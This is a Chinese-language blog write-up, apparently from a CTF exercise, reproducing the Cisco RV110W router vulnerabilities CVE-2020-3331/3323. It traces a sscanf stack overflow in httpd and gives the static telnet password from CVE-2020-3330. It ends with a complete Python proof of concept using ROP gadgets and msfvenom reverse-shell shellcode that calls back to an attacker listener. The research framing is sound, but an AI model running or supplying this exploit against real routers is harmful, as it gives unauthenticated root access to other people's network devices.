思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞复现

前言

强网杯Realworld赛题,要求挖掘并利用CISCO RV110W-E-CN-K9(固件版本1.2.2.5)中的漏洞,获取路由器的Root Shell。攻击演示时的目标设备端口只开启了443端口的https服务,且不知道路由器的Web登录账号,故其实要求就是路由器Web的前台getshell。

设备以及基本的处理

拿到设备后连上交换机,交换机连上之前的路由器,设置网络密码等操作。最后进行固件的更新(其实是替换)

替换前版本:

替换后:

对一个路由器设备的分析可以有不同方面的各种手段:

本体:设备拆解,固件提取,固件分析
通信:流量抓取,端口扫描,近场无线信号分析
使用:应用程序(app)逆向,云端接口分析
历史:历史漏洞,分析对比历史版本的固件或app
调试:各种调试接口(ssh/telnet/adb/uart/jtag),前置漏洞getshell,uboot修改init,qemu模拟

这里我们仅使用部分手段则足够分析出目标漏洞点

历史漏洞查询

通过cve-search网站找到该路由器历史漏洞,再利用Cisco Security Advisories找到202危险系数最高的漏洞分别是:

CVE-2020-3323:Cisco Small Business RV110W,RV130,RV130W和RV215W路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于在基于Web的管理界面中未正确验证用户提供的输入而引起的。攻击者可以通过向目标设备发送特制的HTTP请求来利用此漏洞。成功的利用可能使攻击者能够以root用户身份在受影响设备的基础操作系统上执行任意代码。
CVE-2020-3331:Cisco RV110W Wireless-N VPN防火墙和Cisco RV215W Wireless-N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于基于Web的管理界面未正确验证用户提供的输入数据而引起的。攻击者可以通过向特定设备发送精心设计的请求来利用此漏洞。成功的利用可能使攻击者利用root用户的特权执行任意代码。
CVE-2020-3144:思科RV110W无线N VPN防火墙,RV130 VPN路由器,RV130W无线N多功能VPN路由器和RV215W无线N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者绕过身份验证并执行受影响的设备上带有管理命令的任意命令。该漏洞是由于受影响的设备上的会话管理不当引起的。攻击者可以通过向受影响的设备发送特制的HTTP请求来利用此漏洞。成功利用该漏洞可能使攻击者获得受影响设备上的管理访问权限。
CVE-2020-3330:Cisco Small Business RV110W Wireless-N VPN防火墙路由器的Telnet服务中的漏洞可能允许未经身份验证的远程攻击者完全控制具有高特权帐户的设备。存在此漏洞是因为系统帐户具有默认的静态密码。攻击者可以通过使用此默认帐户连接到受影响的系统来利用此漏洞。成功利用此漏洞可能使攻击者获得对受影响设备的完全控制。

3330:telnet密码
3331、3323:前台RCE

端口扫描

该设备开启了telnet

CVE-2020-3330(静态密码)

首先我们先通过这个漏洞去远程登陆:参考一个字节的差错导致Cisco防火墙路由器远程代码执行

全局搜索一下字符串“aUzX1I” ```bash grep "aUzX1I" * -Rn ``` 发现许多文件matches,但其大部分都是软连接,指向sbin/rc:
找到hash值进行解码即可得到静态admin密码

通过上面那篇文章也可直接得到Admin123的弱密码

CVE-2020-3331/CVE-2020-3323(前台rce)

定位固件

因为CVE-2020-3331和CVE-2020-3323都说的是Web,而且目标也只开放了443端口,故我们先找到Web对应的二进制程序,有两种方式:
1.固件搜索Web相关的二进制程序
2.在设备shell中查看端口绑定的进程对应的程序

方法一:通过开放端口找:
telnet进去之后我们发现设备自带的netstat无法查看端口对应进程号,所以可以下载一版比较全的busybox

在本机打开web服务:

python -m SimpleHTTPServer

在路由器上使用wget下载,不过在下载前可以检查一下文件系统是否有写权限,一般来说/tmp目录是肯定可以写的,不过这个目录一般也无法持久化保存,重启后一般不会保存。另外还需要查看一下可写目录的空间是否足够大,可以使用df -h命令,不过一般来说,传个busybox和gdbserver上去是不成问题的:

wget http://x.x.x.x:8000/busybox-mipsel
./busybox-mipsel netstat -pantu | grep 443

方法二:搜索固件

在访问web配置页面的时候url为https://192.168.1.107/login.cgi,所以在文件系统中直接搜索

grep -Rn "login.cgi"

发现usr/sbin/httpd匹配

漏洞定位

对该文件进行分析,漏洞存在于这个位置:

{% asset_img 7.png %}
{% asset_img 8.png %}

我们看到stack1_0x40和stack_0x40都是栈上分配的栈空间,sscanf可以栈溢出

解释一下:%[^;];%[^=]=%[^\n],这里% 表示选择,% 表示过滤,中括号括起来的是类似正则的字符集,意思就是:

%[^;] 分号前的所有字符都要
;%*[^=] 分号后,等号前的字符都不要
=%[^\n] 等号后,换行符前的所有字符都要

举个例子111;222=333

stack_0x40 = 111
stack1_0x40 = 333

{% asset_img 9.png %}

分析程序路径要到达这个sscanf得有三个参数且满足对应的要求:

  • cmac:mac地址格式
  • cip:ip地址格式
  • submit_button: 包含status_guestnet.asp

接下来就要知道是怎么交互的,用POST还是GET?可以测试一下看看。

import requests

url = "https://192.168.1.107/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)

已经挂掉了,重启恢复。

远程调试

从海特实验室搜集的各种平台的gdbserver中下载一个gdbserver上传到路由器上去,然后挂载到httpd进程上对其进行调试,gdbserver-7.12-mipsel-mips32rel2-v1-sysv可以用。下载后依然传到路由器里面。

第一步:利用gdbserver附加到httpd进程上Shell2

chmod +x gdbserver-7.12-mipsel-mips32rel2-v1-sysv 
ps | grep "httpd" 
./gdbserver-7.12-mipsel-mips32rel2-v1-sysv :1234 --attach 356

第二步:使用gdb-multiarch加载httpd文件进行远程调试:

gdb-mutiarch httpd
target remote 路由器ip:1234

第三步:发送payload,生成100个字符来进行测试偏移:

import requests

url = "https://10.10.10.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"}

requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)

可以看到httpd已经崩掉了:

偏移是85

漏洞利用

这里想拿shell最容易的就是考虑shellcode比较简单,因为我们需要反弹一个shell。httpd进程的libc基址就是2af98000,无论你是重启进程,还是升级版本,这个基址都不变。

可以通过shellcode来完成,利用libc.so.0找到合适的gadgets,输入shellcode,跳转回来执行shellcode

从msfvenom生成回连的shell:

msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=attackPC addr  LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py

poc

#coding=utf-8
from pwn import *
import thread,requests

context(arch='mips',endian='little',os='linux')


libc = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $t9  | $s0      第二次跳转到这里
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0  | $ra  第一次跳转


# msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=10.10.10.101 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py

buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x0a\x65\x0e\x3c\x0a"
buf += b"\x0a\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"

url = "https://10.10.10.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}

def attack():
    try: 
        requests.packages.urllib3.disable_warnings()
        requests.post(url, data=pd2, verify=False,timeout=1)
    except: 
        pass

io = listen(8888)
#创建一个TCP或UDP套接字以接收数据

thread.start_new_thread(attack,())
#开始一个新的线程,从attack函数开始运行

io.wait_for_connection()
#阻塞直到建立连接

log.success("getshell")
io.interactive()

拿到cisco的shell


 Previous
CVE-2021-3156 sudo提权漏洞-堆溢出调试分析 CVE-2021-3156 sudo提权漏洞-堆溢出调试分析
0x00 简介sudo的一个漏洞:影响范围1.8.2 – 1.8.31p2 以及 1.9.0 -1.9.5p1。非root可以使用sudo来以root的权限执行操作。漏洞本质是由于sudo错误的转义了\过滤掉了截断符号,最终导致了一个堆溢出
Next 
华为HG532路由器漏洞CVE-2017-17215分析 华为HG532路由器漏洞CVE-2017-17215分析
漏洞描述华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品 固件解压 这个squashfs_root将会被我们拷贝到qemu中 环境搭建下载qemu sudo apt-g
  TOC